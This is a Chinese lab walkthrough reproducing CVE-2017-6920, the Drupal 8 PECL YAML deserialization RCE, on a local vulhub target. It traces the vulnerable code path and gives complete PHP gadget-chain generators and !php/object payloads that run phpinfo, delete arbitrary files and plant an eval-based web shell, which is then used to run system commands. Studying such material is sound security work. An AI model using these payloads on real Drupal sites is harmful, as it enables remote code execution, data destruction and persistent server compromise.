Drupal Core 8 PECL YAML 反序列化远程代码执行漏洞(CVE-2017-6920)
概述
Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它既可以看作是一个内容管理系统(CMS),又可以看作是一个开发框架,并在 GNU 通用公共许可证下分发。Drupal 具有高度的灵活性和可扩展性,能够满足从简单博客到复杂企业网站等各种需求。
在使用 PECL YAML 解析器的 Drupal 8.x 至 8.3.4 版本中存在远程代码执行漏洞。该漏洞是由于 PECL YAML 解析器在某些操作期间无法安全地处理 PHP 对象,造成不安全反序列化,从而允许攻击者执行任意代码。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8080/会跳转到 Drupal 的安装向导,该靶场没有数据库,数据库选择 SQLite,其余均默认随意安装即可。
安装完成以后,会自动登录至创建的管理员用户。
访问如下网址:
http://192.168.2.243:8080/admin/config/development/configuration/single/import
该网址的路径为:配置 --> 开发 --> 配置同步 --> 导入 --> 单一项目
在该页面中的配置类型中选择 简单配置,配置名称随意,并在 将配置粘贴到此处 内填写配置,配置为要注入的 POC。
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
随后点击导入,即可成功执行命令,导入的 POC 是查看 phpinfo,那么即可成功看到 phpinfo 的信息。
接下来,下载一个 Durpal 8.3.0 的压缩包,解压后进行查看代码。
通过对比 8.3.0 于 8.3.4 版本,发现在 core/lib/Drupal/Component/Serialization/YamlPecl.php
中,8.3.4 存在一个方法 decode
,官方提示 We never want to unserialize !php/object.
,即漏洞触发点就在这个方法内。
该方法中存在一个代码:
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
]);
在这串代码中表明,decode
方法的参数 $raw
被带入了 yaml_parse
函数中。查看 官方文档,发现该函数的第一个参数会被解析为 YAML 文档流。
而在该文档的下方有一个警告:
Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.
这段话表明,PHP 的 YAML 解析器支持特殊语法 !php/object
,他允许将 YAML 节点反序列化为 PHP 对象。
那么到此就明白了,如果方法 decode
的参数 $raw
可控,给这个参数传入一个序列化的字符串,并且在该字符串前加上 !php/object
,那么就会触发反序列化。
接下来就要寻找方法 decode
在那些地方被调用了。
在 core/lib/Drupal/Component/Serialization/Yaml.php
中,存在这样一个方法:
public static function decode($raw) {
$serializer = static::getSerializer();
return $serializer::decode($raw);
}
该方法会调用 $serializer
这个对象(或类)的 decode
方法,而 $serializer
这个对象(或类)具体是哪一个取决于 getSerializer
方法返回的是哪一个。
那么寻找 getSerializer
方法,同样在 Yaml
这个类中。
protected static function getSerializer() {
if (!isset(static::$serializer)) {
// Use the PECL YAML extension if it is available. It has better
// performance for file reads and is YAML compliant.
if (extension_loaded('yaml')) {
static::$serializer = YamlPecl::class;
}
else {
// Otherwise, fallback to the Symfony implementation.
static::$serializer = YamlSymfony::class;
}
}
return static::$serializer;
}
该代码表明,如果服务器安装了 PECL YAML 扩展,那么返回的 static::$serializer
就是 YamlPecl
类,那么在这个 Yaml
类中的 decode
方法就会调用 YamlPecl
类中的 decode
方法,而显然该服务器上已经安装了 YAML 扩展,可以在前面看到的 phpinfo 中看到。
而 YamlPecl
类中的 decode
方法正是想要触发反序列化的地方。
继续寻找哪里调用了 Yaml
类中的 decode
方法。
发现在 core/modules/config/src/Form/ConfigSingleImportForm.php
中存在 Yaml::decode
,显然这就是要找到的函数。
try {
// Decode the submitted import.
$data = Yaml::decode($form_state->getValue('import'));
}
这里对 import 值进行了 Ymal::decode
操作。
现在寻找可以由反序列化而触发的魔术方法,_destruct
和 _wakeup
函数。
FnStream
在 vendor/guzzlehttp/psr7/src/FnStream.php
中找到了调用 _destruct
函数。
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
该函数中的 call_user_func
函数作用可以查看 官方文档,整个析构函数就是在对象销毁时,会执行一个关闭回调函数,如果对象由这个关闭回调函数的话。
注:call_user_func($this->_fn_close)
的调用方式只能执行无参数函数。
WindowsPipes
在 /vendor/symfony/process/Pipes/WindowsPipes.php
中有如下这些函数。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = array();
}
该函数会在对象销毁时,遍历删除 $this->files
中的文件。
FileCookieJar
在 /vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
中存在如下函数。
public function __destruct()
{
$this->save($this->filename);
}
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
该函数会在对象销毁时,会自动将符合条件的 Cookie 数据序列化为 JSON 并保存到指定文件。
尝试写 Payload
尝试触发 FnStream
类。
<?php
namespace GuzzleHttp\Psr7;
class FnStream {
public function __construct(array $methods){
$this->methods = $methods;
foreach ($methods as $name => $fn) {
$property = '_fn_' . $name;
$this->$property = $fn;
}
}
public function __destruct(){
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
$obj1 = new FnStream(array('close'=>'phpinfo'));
$obj2 = serialize($obj1);
echo '!php/object "'.addslashes($obj2).'"';
echo "\n";
?>
执行该代码生成的 Payload 即可 代码执行 查看到 phpinfo 信息。
尝试触发 WindowsPipes
类。
<?php
namespace Symfony\Component\Process\Pipes;
require_once '/home/kali/injection/vulhub/drupal/CVE-2017-6920/AbstractPipes.php';
class WindowsPipes extends AbstractPipes
{
private $files = array();
public function __construct() {
$this->files = [
'/path/to/file.txt',
];
}
public function __destruct()
{
$this->close();
$this->removeFiles();
}
public function getDescriptors(){}
public function getFiles(){}
public function readAndWrite($blocking, $close = false){}
public function areOpen(){}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = array();
}
}
$obj1 = new WindowsPipes();
$obj2 = serialize($obj1);
echo '!php/object "'.addslashes($obj2).'"';
echo "\n";
?>
注:此处中,该 poc.php 文件中要显式指定继承的 AbstractPipes
类的位置,同时因为 AbstractPipes
类是实现了 PipesInterface
接口,所以要在 AbstractPipes
类中增加如下一行代码:
require_once '/home/kali/injection/vulhub/drupal/CVE-2017-6920/PipesInterface.php';
从而显式地指定 PipesInterface
接口的位置。
这两个文件均可以在官网下载的压缩包中找到,与 WindowsPipes
处于相同路径。
此时可以进入容器,随意创建一个文件 test.txt
,并生成 Payload,随后在配置处注入 Payload,并导入。
如此,即可执行 任意文件删除。
尝试触发 FileCookieJar
类。
<?php
namespace GuzzleHttp\Cookie;
require_once '/home/kali/injection/vulhub/drupal/CVE-2017-6920/CookieJar.php';
class SetCookie {
private $data;
public function __construct($data) {
$this->data = $data;
}
public function getName() {
return isset($this->data['Name']) ? $this->data['Name'] : null;
}
public function getValue() {
return isset($this->data['Value']) ? $this->data['Value'] : null;
}
public function getDomain() {
return isset($this->data['Domain']) ? $this->data['Domain'] : null;
}
public function getPath() {
return isset($this->data['Path']) ? $this->data['Path'] : '/';
}
public function getExpires() {
return isset($this->data['Expires']) ? $this->data['Expires'] : null;
}
public function getDiscard() {
return isset($this->data['Discard']) ? $this->data['Discard'] : false;
}
public function getSecure() {
return isset($this->data['Secure']) ? $this->data['Secure'] : false;
}
public function matchesDomain($domain) {
return $this->getDomain() === $domain;
}
public function matchesPath($path) {
return $this->getPath() === $path;
}
public function isExpired() {
return $this->getExpires() !== null && $this->getExpires() < time();
}
public function validate() {
return true;
}
public function toArray() {
return $this->data;
}
}
class FileCookieJar extends CookieJar {
private $filename = './shell.php';
private $storeSessionCookies = true;
public function __construct($cookieFile = null, $storeSessionCookies = false) {
parent::__construct();
}
public function __destruct() {
$this->save($this->filename);
}
public function save($filename) {
$json = [];
foreach ($this as $cookie) {
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = json_encode($json);
file_put_contents($filename, $jsonStr);
}
}
$payload = new FileCookieJar();
$cookie = new SetCookie([
'Name' => '<?php eval($_POST[\'cmd\']); ?>',
]);
$payload->setCookie($cookie);
$obj = serialize($payload);
echo '!php/object "'.addslashes($obj).'"';
echo "\n";
?>
此处,同样需要显示地指定 CookieJar
类的位置,CookieJar
类中也需指定 CookieJarInterface
类的位置。
随后生成 Payload,并在配置处注入 Payload。此时访问写入的文件路径:
http://192.168.2.243:8080/shell.php
body:
cmd=system('commond');
即可执行相应的命令。
使用蚁剑连接。